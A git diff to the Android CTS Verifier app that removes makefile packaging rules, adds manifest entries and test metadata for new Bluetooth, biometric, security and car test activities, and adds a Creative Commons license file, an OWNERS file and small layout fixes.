-#	$(hide) $(ACP) -fp cts/apps/CtsVerifier/assets/scripts/power_monitors/*.py $(verifier-dir)/power/power_monitors/.
-#
-#$(verifier-dir)/power/execute_power_tests.py: cts/apps/CtsVerifier/assets/scripts/execute_power_tests.py | $(ACP)
-#	$(hide) mkdir -p $(verifier-dir)/power
-#	$(hide) $(ACP) -fp cts/apps/CtsVerifier/assets/scripts/execute_power_tests.py $@
-
-cts : $(verifier-zip)
-$(verifier-zip) : $(HOST_OUT)/CameraITS/build_stamp
-$(verifier-zip) : $(foreach app,$(apps-to-include),$(call apk-location-for,$(app)))
-$(verifier-zip) : $(call intermediates-dir-for,APPS,CtsVerifier)/package.apk | $(ACP)
-		$(hide) mkdir -p $(verifier-dir)
-		$(hide) $(ACP) -fp $< $(verifier-dir)/CtsVerifier.apk
-		$(foreach app,$(apps-to-include), \
-		    $(ACP) -fp $(call apk-location-for,$(app)) $(verifier-dir)/$(app).apk;)
-		$(hide) $(ACP) -fpr $(HOST_OUT)/CameraITS $(verifier-dir)
-		$(hide) cd $(cts-dir) && zip -rq $(verifier-dir-name) $(verifier-dir-name)
-
-$(call dist-for-goals, cts, $(verifier-zip):$(verifier-zip-name))
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index a6fdf61..218a805 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -18,7 +18,7 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
           package="com.android.cts.verifier"
           android:versionCode="5"
-          android:versionName="12.1_r4">
+          android:versionName="12.1_r1">
 
     <uses-sdk android:minSdkVersion="19" android:targetSdkVersion="31"/>
 
@@ -561,6 +561,58 @@
                        android:value="multi_display_mode" />
         </activity>
 
+        <!--
+             CTS Verifier Bluetooth Background Rfcomm Test Activity
+                 test category : bt_background_rfcomm
+                 test parent : BluetoothTestActivity
+        -->
+        <activity
+            android:name=".bluetooth.BackgroundRfcommTestActivity"
+            android:configChanges="keyboardHidden|orientation|screenSize"
+            android:label="@string/bt_background_rfcomm_test_name"
+            android:exported="true" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+
+            <meta-data
+                android:name="test_category"
+                android:value="@string/bt_background_rfcomm" />
+            <meta-data
+                android:name="test_parent"
+                android:value="com.android.cts.verifier.bluetooth.BluetoothTestActivity" />
+            <meta-data android:name="test_excluded_features"
+                       android:value="android.hardware.type.watch" />
+            <meta-data android:name="display_mode"
+                       android:value="multi_display_mode" />
+        </activity>
+
+
+        <activity
+            android:name=".bluetooth.BackgroundRfcommTestClientActivity"
+            android:configChanges="keyboardHidden|orientation|screenSize"
+            android:label="@string/bt_background_rfcomm_test_client_name"
+            android:exported="true" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+
+            <meta-data
+                android:name="test_category"
+                android:value="@string/bt_background_rfcomm" />
+            <meta-data
+                android:name="test_parent"
+                android:value="com.android.cts.verifier.bluetooth.BluetoothTestActivity" />
+            <meta-data android:name="test_excluded_features"
+                       android:value="android.hardware.type.watch" />
+            <meta-data android:name="display_mode"
+                       android:value="multi_display_mode" />
+        </activity>
+
 <!--
      *****************************************************************************************
      **                          Begin BLE Test Sub Layer Info                            ****
@@ -1468,6 +1520,27 @@
                        android:value="multi_display_mode" />
         </activity>
 
+        <activity
+            android:name=".bluetooth.BleAdvertisingSetTestActivity"
+            android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
+            android:label="@string/ble_advertising_set_test_name" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+
+            <meta-data
+                android:name="test_category"
+                android:value="@string/bt_le" />
+            <meta-data
+                android:name="test_parent"
+                android:value="com.android.cts.verifier.bluetooth.BleAdvertiserTestActivity" />
+            <meta-data android:name="display_mode"
+                       android:value="multi_display_mode" />
+        </activity>
+
         <activity android:name=".biometrics.BiometricTestList"
             android:label="@string/biometric_test"
             android:exported="true"
@@ -1612,6 +1685,72 @@
         </activity>
 
         <activity
+            android:name=".biometrics.UserAuthenticationCredentialAeadCipherTest"
+            android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
+            android:label="@string/biometric_test_set_user_authentication_credential_aead_cipher_label" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+
+            <meta-data android:name="test_category" android:value="@string/biometric_test_category_combination" />
+            <meta-data android:name="test_parent"
+                       android:value="com.android.cts.verifier.biometrics.BiometricTestList" />
+            <meta-data android:name="test_required_features" android:value="android.software.secure_lock_screen" />
+            <meta-data android:name="test_excluded_features"
+                       android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch" />
+            <meta-data android:name="display_mode"
+                       android:value="multi_display_mode" />
+            <meta-data android:name="ApiTest" android:value="javax.crypto.Cipher#updateAAD"/>
+        </activity>
+
+        <activity
+            android:name=".biometrics.UserAuthenticationBiometricAeadCipherTest"
+            android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
+            android:label="@string/biometric_test_set_user_authentication_biometric_aead_cipher_label" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+
+            <meta-data android:name="test_category" android:value="@string/biometric_test_category_combination" />
+            <meta-data android:name="test_parent"
+                       android:value="com.android.cts.verifier.biometrics.BiometricTestList" />
+            <meta-data android:name="test_required_features" android:value="android.software.secure_lock_screen" />
+            <meta-data android:name="test_excluded_features"
+                       android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch" />
+            <meta-data android:name="display_mode"
+                       android:value="multi_display_mode" />
+            <meta-data android:name="ApiTest" android:value="javax.crypto.Cipher#updateAAD"/>
+        </activity>
+
+        <activity
+            android:name=".biometrics.UserAuthenticationBiometricOrCredentialAeadCipherTest"
+            android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
+            android:label="@string/biometric_test_set_user_authentication_biometric_credential_aead_cipher_label" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+
+            <meta-data android:name="test_category" android:value="@string/biometric_test_category_combination" />
+            <meta-data android:name="test_parent"
+                       android:value="com.android.cts.verifier.biometrics.BiometricTestList" />
+            <meta-data android:name="test_required_features" android:value="android.software.secure_lock_screen" />
+            <meta-data android:name="test_excluded_features"
+                       android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch" />
+            <meta-data android:name="display_mode"
+                       android:value="multi_display_mode" />
+            <meta-data android:name="ApiTest" android:value="javax.crypto.Cipher#updateAAD"/>
+        </activity>
+
+        <activity
             android:name=".biometrics.UserAuthenticationCredentialSignatureTest"
             android:configChanges="keyboardHidden|orientation|screenSize"
             android:exported="true"
@@ -1752,6 +1891,27 @@
                        android:value="android.software.secure_lock_screen" />
             <meta-data android:name="display_mode"
                        android:value="multi_display_mode" />
+            <meta-data android:name="CddTest"
+                       android:value="9.11.3/C-0-2" />
+        </activity>
+
+        <activity android:name=".security.IdentityCredentialAuthenticationMultiDocument"
+                android:label="@string/sec_identity_credential_authentication_multi_document_test"
+                android:exported="true"
+                android:configChanges="keyboardHidden|orientation|screenSize" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+            <meta-data android:name="test_category" android:value="@string/test_category_security" />
+            <meta-data android:name="test_excluded_features"
+                       android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch" />
+            <meta-data android:name="test_required_features"
+                       android:value="android.software.secure_lock_screen" />
+            <meta-data android:name="display_mode"
+                       android:value="multi_display_mode" />
+            <meta-data android:name="CddTest"
+                       android:value="9.11.3/C-0-2" />
         </activity>
 
         <activity android:name=".security.FingerprintBoundKeysTest"
@@ -1769,6 +1929,8 @@
                        android:value="android.hardware.fingerprint:android.software.secure_lock_screen" />
             <meta-data android:name="display_mode"
                        android:value="single_display_mode" />
+            <meta-data android:name="CddTest"
+                       android:value="9.11.1/C-4-1" />
         </activity>
 
         <activity android:name=".security.ProtectedConfirmationTest"
@@ -1782,6 +1944,8 @@
             <meta-data android:name="test_category" android:value="@string/test_category_security" />
             <meta-data android:name="display_mode"
                        android:value="multi_display_mode" />
+            <meta-data android:name="CddTest"
+                       android:value="9.10/C-3-1|9.10/C-3-2|9.10/C-3-3" />
         </activity>
 
         <activity android:name=".security.ScreenLockBoundKeysTest"
@@ -1799,6 +1963,8 @@
                     android:value="android.software.device_admin:android.software.secure_lock_screen" />
             <meta-data android:name="display_mode"
                        android:value="single_display_mode" />
+            <meta-data android:name="CddTest"
+                       android:value="9.11/C-1-3" />
         </activity>
 
         <activity android:name=".security.UnlockedDeviceRequiredTest"
@@ -1948,6 +2114,9 @@
             <meta-data android:name="test_required_features" android:value="android.hardware.wifi" />
             <meta-data android:name="display_mode"
                        android:value="multi_display_mode" />
+            <meta-data android:name="CddTest" android:value="7.4.5.2" />
+            <meta-data android:name="ApiTest"
+                       android:value="android.net.ConnectivityManager#registerNetworkCallback|android.net.ConnectivityManager#unregisterNetworkCallback|android.net.ConnectivityManager#getLinkProperties" />
         </activity>
 
         <activity android:name=".net.MultiNetworkConnectivityTestActivity"
@@ -1964,6 +2133,8 @@
                        android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch" />
             <meta-data android:name="display_mode"
                        android:value="multi_display_mode" />
+            <meta-data android:name="ApiTest"
+                       android:value="android.net.ConnectivityManager#getNetworkCapabilities|android.net.ConnectivityManager#getAllNetworks|android.net.ConnectivityManager#requestNetwork|android.net.ConnectivityManager#unregisterNetworkCallback|android.net.ConnectivityManager#getActiveNetwork|android.net.ConnectivityManager#getNetworkInfo|android.net.ConnectivityManager#reportNetworkConnectivity" />
         </activity>
 
         <activity android:name=".nfc.NfcTestActivity"
@@ -4650,7 +4821,7 @@
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_tv" />
             <meta-data android:name="test_required_features"
-                       android:value="android.software.leanback" />
+                       android:value="android.software.leanback:android.hardware.microphone" />
             <meta-data android:name="display_mode"
                        android:value="multi_display_mode" />
         </activity>
@@ -5217,6 +5388,20 @@
                        android:value="multi_display_mode" />
         </activity>
 
+        <activity android:name=".car.CarLauncherTestActivity"
+                  android:exported="true"
+                  android:label="@string/car_launcher_test">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+            <meta-data android:name="test_category" android:value="@string/test_category_car" />
+            <meta-data android:name="test_required_features"
+                       android:value="android.hardware.type.automotive"/>
+            <meta-data android:name="display_mode"
+                       android:value="multi_display_mode" />
+        </activity>
+
         <!-- 6DoF sensor test -->
         <activity
                 android:name="com.android.cts.verifier.sensors.sixdof.Activities.StartActivity"
@@ -5410,6 +5595,8 @@
                 android:value="config_voice_capable"/>
             <meta-data android:name="display_mode"
                        android:value="multi_display_mode" />
+            <meta-data android:name="test_excluded_features"
+                       android:value="android.hardware.type.watch" />
         </activity>
 
         <service
@@ -5441,6 +5628,8 @@
                 android:value="config_voice_capable"/>
             <meta-data android:name="display_mode"
                        android:value="multi_display_mode" />
+            <meta-data android:name="test_excluded_features"
+                       android:value="android.hardware.type.watch" />
         </activity>
 
         <activity
@@ -5463,6 +5652,8 @@
                 android:value="config_voice_capable"/>
             <meta-data android:name="display_mode"
                        android:value="multi_display_mode" />
+            <meta-data android:name="test_excluded_features"
+                       android:value="android.hardware.type.watch" />
             </activity>
 
         <activity
@@ -5507,6 +5698,8 @@
                 android:value="config_voice_capable"/>
             <meta-data android:name="display_mode"
                        android:value="multi_display_mode" />
+            <meta-data android:name="test_excluded_features"
+                       android:value="android.hardware.type.watch" />
         </activity>
 
         <activity android:name=".telecom.TelecomDefaultDialerTestActivity"
@@ -5582,6 +5775,7 @@
             <meta-data android:name="test_excluded_features" android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.automotive:android.hardware.type.watch" />
             <meta-data android:name="display_mode"
                        android:value="multi_display_mode" />
+            <meta-data android:name="CddTest" android:value="3.15/C-0-6" />
         </activity>
         <activity android:name=".instantapps.RecentAppsTestActivity"
                 android:exported="true"
@@ -5594,6 +5788,7 @@
             <meta-data android:name="test_excluded_features" android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.automotive:android.hardware.type.watch" />
             <meta-data android:name="display_mode"
                        android:value="multi_display_mode" />
+            <meta-data android:name="CddTest" android:value="3.15/C-0-7" />
         </activity>
         <activity android:name=".instantapps.AppInfoTestActivity"
                 android:exported="true"
@@ -5607,6 +5802,7 @@
                 android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.automotive:android.hardware.type.watch" />
             <meta-data android:name="display_mode"
                        android:value="multi_display_mode" />
+            <meta-data android:name="CddTest" android:value="3.15/C-0-5" />
         </activity>
 
         <activity android:name=".displaycutout.DisplayCutoutTestActivity"
diff --git a/apps/CtsVerifier/LICENSE_CC_BY b/apps/CtsVerifier/LICENSE_CC_BY
new file mode 100644
index 0000000..e3feb12
--- /dev/null
+++ b/apps/CtsVerifier/LICENSE_CC_BY
@@ -0,0 +1,348 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+<meta name="generator" content="HTML Tidy for Linux/x86 (vers 1 September 2005), see www.w3.org" />
+<title>Creative Commons Legal Code</title>
+<meta http-equiv="content-type" content="text/html; charset=utf-8" />
+<link rel="stylesheet" type="text/css" href="https://creativecommons.org/includes/deed3.css" media="screen" />
+<link rel="stylesheet" type="text/css" href="https://creativecommons.org/includes/deed3-print.css" media="print" />
+<!--[if lt IE 7]><link rel="stylesheet" type="text/css" href="https://creativecommons.org/includes/deed3-ie.css" media="screen" /><![endif]-->
+<script type="text/javascript" src="https://creativecommons.org/includes/errata.js">
+</script>
+</head>
+<body>
+<p align="center" id="header"><a href="https://creativecommons.org/">Creative Commons</a></p>
+<div id="deed" class="green">
+<div id="deed-head">
+<div id="cc-logo">
+<img src="https://creativecommons.org/images/deed/cc-logo.jpg" alt="" />
+</div>
+<h1><span>Creative Commons Legal Code</span></h1>
+<div id="deed-license">
+<h2>Attribution 3.0 United States</h2>
+</div>
+</div>
+<div id="deed-main">
+<div id="deed-main-content">
+<img src="https://creativecommons.org/images/international/us.png" alt="" />
+<blockquote>
+CREATIVE COMMONS CORPORATION IS NOT A LAW FIRM AND DOES
+NOT PROVIDE LEGAL SERVICES. DISTRIBUTION OF THIS LICENSE
+DOES NOT CREATE AN ATTORNEY-CLIENT RELATIONSHIP. CREATIVE
+COMMONS PROVIDES THIS INFORMATION ON AN "AS-IS" BASIS.
+CREATIVE COMMONS MAKES NO WARRANTIES REGARDING THE
+INFORMATION PROVIDED, AND DISCLAIMS LIABILITY FOR DAMAGES
+RESULTING FROM ITS USE.
+</blockquote>
+<h3><em>License</em></h3>
+<p>THE WORK (AS DEFINED BELOW) IS PROVIDED UNDER THE TERMS
+OF THIS CREATIVE COMMONS PUBLIC LICENSE ("CCPL" OR
+"LICENSE"). THE WORK IS PROTECTED BY COPYRIGHT AND/OR OTHER
+APPLICABLE LAW. ANY USE OF THE WORK OTHER THAN AS
+AUTHORIZED UNDER THIS LICENSE OR COPYRIGHT LAW IS
+PROHIBITED.</p>
+<p>BY EXERCISING ANY RIGHTS TO THE WORK PROVIDED HERE, YOU
+ACCEPT AND AGREE TO BE BOUND BY THE TERMS OF THIS LICENSE.
+TO THE EXTENT THIS LICENSE MAY BE CONSIDERED TO BE A
+CONTRACT, THE LICENSOR GRANTS YOU THE RIGHTS CONTAINED HERE
+IN CONSIDERATION OF YOUR ACCEPTANCE OF SUCH TERMS AND
+CONDITIONS.</p>
+<p><strong>1. Definitions</strong></p>
+<ol type="a">
+<li><strong>"Collective Work"</strong> means a work, such
+as a periodical issue, anthology or encyclopedia, in
+which the Work in its entirety in unmodified form, along
+with one or more other contributions, constituting
+separate and independent works in themselves, are
+assembled into a collective whole. A work that
+constitutes a Collective Work will not be considered a
+Derivative Work (as defined below) for the purposes of
+this License.</li>
+<li><strong>"Derivative Work"</strong> means a work based
+upon the Work or upon the Work and other pre-existing
+works, such as a translation, musical arrangement,
+dramatization, fictionalization, motion picture version,
+sound recording, art reproduction, abridgment,
+condensation, or any other form in which the Work may be
+recast, transformed, or adapted, except that a work that
+constitutes a Collective Work will not be considered a
+Derivative Work for the purpose of this License. For the
+avoidance of doubt, where the Work is a musical
+composition or sound recording, the synchronization of
+the Work in timed-relation with a moving image
+("synching") will be considered a Derivative Work for the
+purpose of this License.</li>
+<li><strong>"Licensor"</strong> means the individual,
+individuals, entity or entities that offers the Work
+under the terms of this License.</li>
+<li><strong>"Original Author"</strong> means the
+individual, individuals, entity or entities who created
+the Work.</li>
+<li><strong>"Work"</strong> means the copyrightable work
+of authorship offered under the terms of this
+License.</li>
+<li><strong>"You"</strong> means an individual or entity
+exercising rights under this License who has not
+previously violated the terms of this License with
+respect to the Work, or who has received express
+permission from the Licensor to exercise rights under
+this License despite a previous violation.</li>
+</ol>
+<p><strong>2. Fair Use Rights.</strong> Nothing in this
+license is intended to reduce, limit, or restrict any
+rights arising from fair use, first sale or other
+limitations on the exclusive rights of the copyright owner
+under copyright law or other applicable laws.</p>
+<p><strong>3. License Grant.</strong> Subject to the terms
+and conditions of this License, Licensor hereby grants You
+a worldwide, royalty-free, non-exclusive, perpetual (for
+the duration of the applicable copyright) license to
+exercise the rights in the Work as stated below:</p>
+<ol type="a">
+<li>to reproduce the Work, to incorporate the Work into
+one or more Collective Works, and to reproduce the Work
+as incorporated in the Collective Works;</li>
+<li>to create and reproduce Derivative Works provided
+that any such Derivative Work, including any translation
+in any medium, takes reasonable steps to clearly label,
+demarcate or otherwise identify that changes were made to
+the original Work. For example, a translation could be
+marked "The original work was translated from English to
+Spanish," or a modification could indicate "The original
+work has been modified.";;</li>
+<li>to distribute copies or phonorecords of, display
+publicly, perform publicly, and perform publicly by means
+of a digital audio transmission the Work including as
+incorporated in Collective Works;</li>
+<li>to distribute copies or phonorecords of, display
+publicly, perform publicly, and perform publicly by means
+of a digital audio transmission Derivative Works.</li>
+<li>
+<p>For the avoidance of doubt, where the Work is a
+musical composition:</p>
+<ol type="i">
+<li><strong>Performance Royalties Under Blanket
+Licenses</strong>. Licensor waives the exclusive
+right to collect, whether individually or, in the
+event that Licensor is a member of a performance
+rights society (e.g. ASCAP, BMI, SESAC), via that
+society, royalties for the public performance or
+public digital performance (e.g. webcast) of the
+Work.</li>
+<li><strong>Mechanical Rights and Statutory
+Royalties</strong>. Licensor waives the exclusive
+right to collect, whether individually or via a music
+rights agency or designated agent (e.g. Harry Fox
+Agency), royalties for any phonorecord You create
+from the Work ("cover version") and distribute,
+subject to the compulsory license created by 17 USC
+Section 115 of the US Copyright Act (or the
+equivalent in other jurisdictions).</li>
+</ol>
+</li>
+<li><strong>Webcasting Rights and Statutory
+Royalties</strong>. For the avoidance of doubt, where the
+Work is a sound recording, Licensor waives the exclusive
+right to collect, whether individually or via a
+performance-rights society (e.g. SoundExchange),
+royalties for the public digital performance (e.g.
+webcast) of the Work, subject to the compulsory license
+created by 17 USC Section 114 of the US Copyright Act (or
+the equivalent in other jurisdictions).</li>
+</ol>
+<p>The above rights may be exercised in all media and
+formats whether now known or hereafter devised. The above
+rights include the right to make such modifications as are
+technically necessary to exercise the rights in other media
+and formats. All rights not expressly granted by Licensor
+are hereby reserved.</p>
+<p><strong>4. Restrictions.</strong> The license granted in
+Section 3 above is expressly made subject to and limited by
+the following restrictions:</p>
+<ol type="a">
+<li>You may distribute, publicly display, publicly
+perform, or publicly digitally perform the Work only
+under the terms of this License, and You must include a
+copy of, or the Uniform Resource Identifier for, this
+License with every copy or phonorecord of the Work You
+distribute, publicly display, publicly perform, or
+publicly digitally perform. You may not offer or impose
+any terms on the Work that restrict the terms of this
+License or the ability of a recipient of the Work to
+exercise the rights granted to that recipient under the
+terms of the License. You may not sublicense the Work.
+You must keep intact all notices that refer to this
+License and to the disclaimer of warranties. When You
+distribute, publicly display, publicly perform, or
+publicly digitally perform the Work, You may not impose
+any technological measures on the Work that restrict the
+ability of a recipient of the Work from You to exercise
+the rights granted to that recipient under the terms of
+the License. This Section 4(a) applies to the Work as
+incorporated in a Collective Work, but this does not
+require the Collective Work apart from the Work itself to
+be made subject to the terms of this License. If You
+create a Collective Work, upon notice from any Licensor
+You must, to the extent practicable, remove from the
+Collective Work any credit as required by Section 4(b),
+as requested. If You create a Derivative Work, upon
+notice from any Licensor You must, to the extent
+practicable, remove from the Derivative Work any credit
+as required by Section 4(b), as requested.</li>
+<li>If You distribute, publicly display, publicly
+perform, or publicly digitally perform the Work (as
+defined in Section 1 above) or any Derivative Works (as
+defined in Section 1 above) or Collective Works (as
+defined in Section 1 above), You must, unless a request
+has been made pursuant to Section 4(a), keep intact all
+copyright notices for the Work and provide, reasonable to
+the medium or means You are utilizing: (i) the name of
+the Original Author (or pseudonym, if applicable) if
+supplied, and/or (ii) if the Original Author and/or
+Licensor designate another party or parties (e.g. a
+sponsor institute, publishing entity, journal) for
+attribution ("Attribution Parties") in Licensor's
+copyright notice, terms of service or by other reasonable
+means, the name of such party or parties; the title of
+the Work if supplied; to the extent reasonably
+practicable, the Uniform Resource Identifier, if any,
+that Licensor specifies to be associated with the Work,
+unless such URI does not refer to the copyright notice or
+licensing information for the Work; and, consistent with
+Section 3(b) in the case of a Derivative Work, a credit
+identifying the use of the Work in the Derivative Work
+(e.g., "French translation of the Work by Original
+Author," or "Screenplay based on original Work by
+Original Author"). The credit required by this Section
+4(b) may be implemented in any reasonable manner;
+provided, however, that in the case of a Derivative Work
+or Collective Work, at a minimum such credit will appear,
+if a credit for all contributing authors of the
+Derivative Work or Collective Work appears, then as part
+of these credits and in a manner at least as prominent as
+the credits for the other contributing authors. For the
+avoidance of doubt, You may only use the credit required
+by this Section for the purpose of attribution in the
+manner set out above and, by exercising Your rights under
+this License, You may not implicitly or explicitly assert
+or imply any connection with, sponsorship or endorsement
+by the Original Author, Licensor and/or Attribution
+Parties, as appropriate, of You or Your use of the Work,
+without the separate, express prior written permission of
+the Original Author, Licensor and/or Attribution
+Parties.</li>
+</ol>
+<p><strong>5. Representations, Warranties and
+Disclaimer</strong></p>
+<p>UNLESS OTHERWISE MUTUALLY AGREED TO BY THE PARTIES IN
+WRITING, LICENSOR OFFERS THE WORK AS-IS AND ONLY TO THE
+EXTENT OF ANY RIGHTS HELD IN THE LICENSED WORK BY THE
+LICENSOR. THE LICENSOR MAKES NO REPRESENTATIONS OR
+WARRANTIES OF ANY KIND CONCERNING THE WORK, EXPRESS,
+IMPLIED, STATUTORY OR OTHERWISE, INCLUDING, WITHOUT
+LIMITATION, WARRANTIES OF TITLE, MARKETABILITY,
+MERCHANTIBILITY, FITNESS FOR A PARTICULAR PURPOSE,
+NONINFRINGEMENT, OR THE ABSENCE OF LATENT OR OTHER DEFECTS,
+ACCURACY, OR THE PRESENCE OF ABSENCE OF ERRORS, WHETHER OR
+NOT DISCOVERABLE. SOME JURISDICTIONS DO NOT ALLOW THE
+EXCLUSION OF IMPLIED WARRANTIES, SO SUCH EXCLUSION MAY NOT
+APPLY TO YOU.</p>
+<p><strong>6. Limitation on Liability.</strong> EXCEPT TO
+THE EXTENT REQUIRED BY APPLICABLE LAW, IN NO EVENT WILL
+LICENSOR BE LIABLE TO YOU ON ANY LEGAL THEORY FOR ANY
+SPECIAL, INCIDENTAL, CONSEQUENTIAL, PUNITIVE OR EXEMPLARY
+DAMAGES ARISING OUT OF THIS LICENSE OR THE USE OF THE WORK,
+EVEN IF LICENSOR HAS BEEN ADVISED OF THE POSSIBILITY OF
+SUCH DAMAGES.</p>
+<p><strong>7. Termination</strong></p>
+<ol type="a">
+<li>This License and the rights granted hereunder will
+terminate automatically upon any breach by You of the
+terms of this License. Individuals or entities who have
+received Derivative Works (as defined in Section 1 above)
+or Collective Works (as defined in Section 1 above) from
+You under this License, however, will not have their
+licenses terminated provided such individuals or entities
+remain in full compliance with those licenses. Sections
+1, 2, 5, 6, 7, and 8 will survive any termination of this
+License.</li>
+<li>Subject to the above terms and conditions, the
+license granted here is perpetual (for the duration of
+the applicable copyright in the Work). Notwithstanding
+the above, Licensor reserves the right to release the
+Work under different license terms or to stop
+distributing the Work at any time; provided, however that
+any such election will not serve to withdraw this License
+(or any other license that has been, or is required to
+be, granted under the terms of this License), and this
+License will continue in full force and effect unless
+terminated as stated above.</li>
+</ol>
+ <p><strong>8. Miscellaneous</strong></p>
+<ol type="a">
+<li>Each time You distribute or publicly digitally
+perform the Work (as defined in Section 1 above) or a
+Collective Work (as defined in Section 1 above), the
+Licensor offers to the recipient a license to the Work on
+the same terms and conditions as the license granted to
+You under this License.</li>
+<li>Each time You distribute or publicly digitally
+perform a Derivative Work, Licensor offers to the
+recipient a license to the original Work on the same
+terms and conditions as the license granted to You under
+this License.</li>
+<li>If any provision of this License is invalid or
+unenforceable under applicable law, it shall not affect
+the validity or enforceability of the remainder of the
+terms of this License, and without further action by the
+parties to this agreement, such provision shall be
+reformed to the minimum extent necessary to make such
+provision valid and enforceable.</li>
+<li>No term or provision of this License shall be deemed
+waived and no breach consented to unless such waiver or
+consent shall be in writing and signed by the party to be
+charged with such waiver or consent.</li>
+<li>This License constitutes the entire agreement between
+the parties with respect to the Work licensed here. There
+are no understandings, agreements or representations with
+respect to the Work not specified here. Licensor shall
+not be bound by any additional provisions that may appear
+in any communication from You. This License may not be
+modified without the mutual written agreement of the
+Licensor and You.</li>
+</ol>
+
+<blockquote>
+<h3>Creative Commons Notice</h3>
+<p>Creative Commons is not a party to this License, and
+makes no warranty whatsoever in connection with the Work.
+Creative Commons will not be liable to You or any party
+on any legal theory for any damages whatsoever, including
+without limitation any general, special, incidental or
+consequential damages arising in connection to this
+license. Notwithstanding the foregoing two (2) sentences,
+if Creative Commons has expressly identified itself as
+the Licensor hereunder, it shall have all rights and
+obligations of Licensor.</p>
+<p>Except for the limited purpose of indicating to the
+public that the Work is licensed under the CCPL, Creative
+Commons does not authorize the use by either party of the
+trademark "Creative Commons" or any related trademark or
+logo of Creative Commons without the prior written
+consent of Creative Commons. Any permitted use will be in
+compliance with Creative Commons' then-current trademark
+usage guidelines, as may be published on its website or
+otherwise made available upon request from time to time.
+For the avoidance of doubt, this trademark restriction
+does not form part of the License.</p>
+<p>Creative Commons may be contacted at <a href="https://creativecommons.org/">https://creativecommons.org/</a>.</p>
+</blockquote>
+</div>
+</div>
+<div id="deed-foot">
+<p id="footer"><a href="./">« Back to Commons Deed</a></p>
+</div>
+</div>
+</body>
+</html>
diff --git a/apps/CtsVerifier/OWNERS b/apps/CtsVerifier/OWNERS
new file mode 100644
index 0000000..85d98df
--- /dev/null
+++ b/apps/CtsVerifier/OWNERS
@@ -0,0 +1 @@
+per-file AndroidManifest*.xml = rossyeh@google.com,robinjacob@google.com,mariay@google.com,normancheung@google.com,slotus@google.com
diff --git a/apps/CtsVerifier/res/layout-watch/da_policy_main.xml b/apps/CtsVerifier/res/layout-watch/da_policy_main.xml
index abc2f74..fe7409e 100644
--- a/apps/CtsVerifier/res/layout-watch/da_policy_main.xml
+++ b/apps/CtsVerifier/res/layout-watch/da_policy_main.xml
@@ -1,4 +1,4 @@
-<?xml version="2.0" encoding="utf-8"?>
+<?xml version="1.0" encoding="utf-8"?>
 <!-- Copyright (C) 2017 The Android Open Source Project
 
      Licensed under the Apache License, Version 2.0 (the "License");
diff --git a/apps/CtsVerifier/res/layout-watch/requesting_bugreport_device_owner.xml b/apps/CtsVerifier/res/layout-watch/requesting_bugreport_device_owner.xml
index ae7111a..09f8ab4 100644
--- a/apps/CtsVerifier/res/layout-watch/requesting_bugreport_device_owner.xml
+++ b/apps/CtsVerifier/res/layout-watch/requesting_bugreport_device_owner.xml
@@ -1,4 +1,4 @@
-<?xml version="2.0" encoding="utf-8"?>
+<?xml version="1.0" encoding="utf-8"?>
 <!-- Copyright (C) 2017 The Android Open Source Project
 
      Licensed under the Apache License, Version 2.0 (the "License");
diff --git a/apps/CtsVerifier/res/layout/audio_input_routingnotifications_test.xml b/apps/CtsVerifier/res/layout/audio_input_routingnotifications_test.xml
index 9ea6b35..16943c9 100644
--- a/apps/CtsVerifier/res/layout/audio_input_routingnotifications_test.xml
+++ b/apps/CtsVerifier/res/layout/audio_input_routingnotifications_test.xml
@@ -50,12 +50,6 @@
           android:layout_height="wrap_content"
           android:id="@+id/audio_routingnotification_audioRecord_change"/>
 
-      <TextView
-          android:layout_width="match_parent"
-          android:layout_height="wrap_content"
-          android:textSize="20sp"
-          android:id="@+id/audio_routingnotification_testresult"/>
-
       <LinearLayout
           android:layout_width="wrap_content"
           android:layout_height="wrap_content"
@@ -64,13 +58,13 @@
               android:layout_width="wrap_content"
               android:layout_height="wrap_content"
               android:id="@+id/audio_routingnotification_recordBtn"
-              android:text="@string/audio_general_record"/>
+              android:text="@string/audio_routingnotification_recBtn"/>
 
           <Button
               android:layout_width="match_parent"
               android:layout_height="wrap_content"
               android:id="@+id/audio_routingnotification_recordStopBtn"
-              android:text="@string/audio_general_stop"/>
